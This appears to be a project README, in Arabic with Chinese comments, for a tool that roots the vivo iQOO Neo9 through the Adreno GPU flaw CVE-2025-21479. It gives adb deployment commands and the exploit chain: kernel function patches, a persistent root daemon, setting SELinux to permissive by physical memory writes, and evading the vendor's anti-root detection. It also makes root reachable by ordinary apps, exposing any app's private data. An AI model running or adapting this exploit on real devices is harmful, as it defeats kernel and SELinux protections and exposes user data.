Neo9Root

أداة Caps-Root لجهاز iQOO Neo9 (PD2338C) بدون فتح البوت لودر — مخطط رفع صلاحيات عبر كتابة فيزيائية عشوائية يستند إلى CVE-2025-21479 (Adreno GPU SDS)

دون الحاجة إلى فتح Bootloader أو إعادة تثبيت النظام أو Magisk. عبر ثغرة GPU نحصل على كتابة فيزيائية عشوائية على مستوى النواة، وبعد تعديل دوال حاسمة في النواة تعمل عملية root daemon دائمة بكامل الصلاحيات (41-bit caps) لتوفير صلاحيات الجذر لأدوات rootc / su.

الميزة الأساسية: إبقاء euid عند 2000 لتجاوز كشف مكافحة الجذر vr.ko من vivo (euid=0 يسبب إعادة تشغيل الجهاز)، صلاحيات الجذر مكافئة لـ uid=0 لكن هوية العملية آمنة.

✨ الميزات

• 🔓 بدون فتح BL — لا تُلمس bootloader / الأقسام / dm-verity، يعمل بالكامل في الذاكرة، وإعادة التشغيل تعيد كل شيء نظيفًا
• 🧬 صلاحيات جذر حقيقية على مستوى النواة — CapEff: 000001ffffffffff (صلاحيات كاملة 41 بت)، ليست تمويهًا على مستوى التطبيقات
• 🛡️ تجاوز كشف مكافحة الجذر في vivo — الحفاظ على euid=2000، يصبح كشف vr.ko غير فعّال، والجهاز بلا أي انهيار
• ⚙️ daemon دائم — قائمة انتظار ملفات + بروتوكول Base64، تنفيذ أوامر بلا تبعيات ونقل كامل للناتج
• 🔌 طبقة توافق — غلاف su، يمكن استدعاؤه مباشرة من MT Manager / Termux
• 📦 صفر استمرارية — كل التعديلات في RAM، وإعادة التشغيل تستعيد الحالة النظيفة تلقائيًا

📱 الأجهزة المدعومة

⚠️ يعتمد الاستغلال على التخطيط المحدد لتلك النواة (إزاحات الرموز، ميزة VIVO_VMET_BREAK_KMI، سلوك vr.ko)، الأجهزة والأنوية الأخرى تتطلب إعادة تكييف.

🚀 بدء سريع

المتطلبات

• Windows + adb (أو adb على أي منصة؛ البرنامج النصي بصيغة PowerShell)
• تفعيل تصحيح USB على الهاتف

النشر بنقرة واحدة (موصى به)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

يقوم البرنامج النصي تلقائيًا بـ: دفع الملفات الثلاثة ← إعادة تشغيل للحصول على نافذة باردة ← تشغيل الاستغلال عدة جولات (نسبة نجاح ~50%/جولة) ← جاهزية daemon ← تحقق.

النشر اليدوي

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ الاستخدام

rootc — تنفيذ أي أمر جذر

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — توافق مع MT Manager / Termux

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

إعداد Termux: يجب تنفيذه مرة واحدة عند أول استخدام (بصلاحيات جذر):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: الإعدادات ← ROOT ← مسار su مخصص ← /data/local/tmp/su

u0 — عمليات الجذر الحقيقية (euid=0)

بيئة rootc/su تُبقي عمدًا euid=2000 (لمنع كشف vr.ko لمكافحة الجذر). لكن بعض واجهات النواة (مثل /proc/vrp، وبعض عقد sysfs) تفحص برامج تشغيلها current_euid()==0، وحتى الصلاحيات الكاملة لا تكفي → في هذه الحالة استخدم u0 للاستفادة من CAP_SETUID في بيئة rootd لرفع الصلاحيات إلى جذر حقيقي:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话

• آمن عمليًا: setuid(0) لا يسبب fatal من vr.ko (عملية rootd الرئيسية نفسها تعيش طويلًا بـ uid=0؛ وعمليات uid=0 ليست في قائمة القتل)
• قيد مؤكد: /proc/vrp عند uid=0 + صلاحيات كاملة ما زال يعيد EPERM (برنامج تشغيل vrp لديه فحص صلاحيات نشط، ليس DAC/SELinux — جارٍ العمل على الهندسة العكسية)؛ كما أن insmod عند uid=0 يسبب أيضًا إعادة تشغيل الجهاز (فحص تحميل الوحدات لا ينظر إلى uid للمستدعي)
• طريقة الترجمة موصوفة في docs\u0_说明.md

وصول المستخدم العادي (تطبيق / صلاحية أقل من shell) إلى /data/local/tmp

/data/local/tmp افتراضيًا drwxrwxrwt (1777، مالكه shell) — على مستوى DAC يمكن لأي مستخدم القراءة والكتابة. ما يمنع المستخدم العادي (نطاق untrusted_app) فعليًا هو SELinux (السياسة ترفض وصول نطاق التطبيقات إلى وسم shell_data_file):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力

• يمكن للتطبيق تنفيذ rootc (دليل 1777 + ملف 755) ← يحصل المستخدم العادي على صلاحيات جذر كاملة
• قيد: بعد إعادة التشغيل يزول permissive ← يعود وصول المستخدم العادي مقيدًا (shell_data_file لا يمكن الوصول إليه إلا من نطاق shell)؛ وتُستعاد الصلاحيات بعد إعادة النشر
• قراءة ملف فقط: استخدم su -c "cat /data/local/tmp/xxx > /sdcard/xxx" كوسيط (وصول التطبيق إلى /sdcard دون عوائق)

تحقق شائع

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 المبدأ

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

لماذا euid=2000؟ نواة vivo تحتوي وحدة vr.ko لمكافحة الجذر: تكتشف أي عملية خارج نطاق vrp تكون cred->euid==0 فتُطلق fatal (إعادة تشغيل الجهاز). رفع الصلاحيات MODE=10 لا يغيّر euid عمدًا، يكتب فقط fsuid/fsgid + صلاحيات caps — فلن يستطيع vr.ko التفعيل، بينما تنجح جميع فحوصات capable() في النواة (صلاحيات جذر حقيقية).

📂 هيكل المشروع

neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ القيود والملاحظات المعروفة

• يزول عند إعادة التشغيل: كل التعديلات في الذاكرة RAM، وتتطلب إعادة نشر بعد كل إقلاع
• النافذة الباردة: نجاح الاستغلال يعتمد على التشغيل خلال <3 دقائق بعد إعادة التشغيل؛ في حلقة المرشحين داخل العملية، المرشحون الـ ~28 الأوائل هم نافذة GPU الطبيعية، وبعدها قد يتجمد GPU ← استخدم run_rootc_loop.ps1 لإعادة المحاولة عدة جولات
• انقطاع adb ≠ انهيار: عند الضغط العالي على GPU قد لا يستجيب adbd فينقطع اتصال adb، تحقق عبر cat /proc/uptime (استمرار زيادة uptime وسلامة الشاشة = الجهاز لم ينهار)
• id يعرض uid=2000: انظر قسم المبدأ؛ سلوك مقصود بالتصميم؛ الصلاحيات مكافئة للجذر
• الـ mount / مقيد بـ fstab؛ /system للقراءة فقط (erofs + dm-verity)، ولا يمكن تعديله بشكل دائم
• صلاحيات /data/local/tmp: سيناريو Termux/المستخدم العادي يتطلب chmod 1777 (انظر قسم "وصول المستخدم العادي")؛ يجب إبقاء SELinux بوضع permissive (مُفعَّل عند نشر الاستغلال)، لا تستخدم setenforce 0 (يكتشفه vr.ko)

❓ الأسئلة الشائعة

س: هل هذا جذر حقيقي؟ ج: نعم. جميع فحوصات capable() في النواة (CapEff مفتوح بالكامل، chown 0:0، قراءة /proc/iomem، قراءة بيانات أي تطبيق) تنجح — النواة تعتبرك تملك صلاحيات الجذر، فقط الرقم uid هو 2000.

س: هل يمكن أن يُقفل الجهاز (brick)؟ ج: لا. لا كتابة لأي قسم، ولا تعديلات دائمة؛ أسوأ الاحتمالات هو تجمد GPU ويعود كل شيء بعد إعادة التشغيل.

س: هل يدعم أجهزة أخرى؟ ج: يتطلب إعادة تكييف (تخطيط النواة، إزاحات الرموز، وسلوك vr.ko كلها خاصة بـ PD2338C؛ إن كان الجهاز من vivo iQOO Neo9 ونظامه OriginOS 5 فيمكن المحاولة).

📜 إخلاء المسؤولية

هذا المشروع مخصص للبحث الأمني والأجهزة الشخصية فقط. أي عواقب ناتجة عن استخدام هذه الأداة (بما في ذلك على سبيل المثال لا الحصر: تلف الجهاز، فقدان البيانات، انتهاء الضمان) تقع على عاتق المستخدم. يرجى الالتزام بالقوانين واللوائح المحلية وعدم استخدامها لأغراض غير قانونية.

🙏 الشكر والتقدير

• zhuowei/cheese — إطار استغلال GPU الأصلي
• sarabpal-dev/cheese-cake — تنفيذ موسّع
• Type010 / CyberMeowfia وغيرهم من الأبحاث المنشورة — مرجع للأفكار

📄 الترخيص

MIT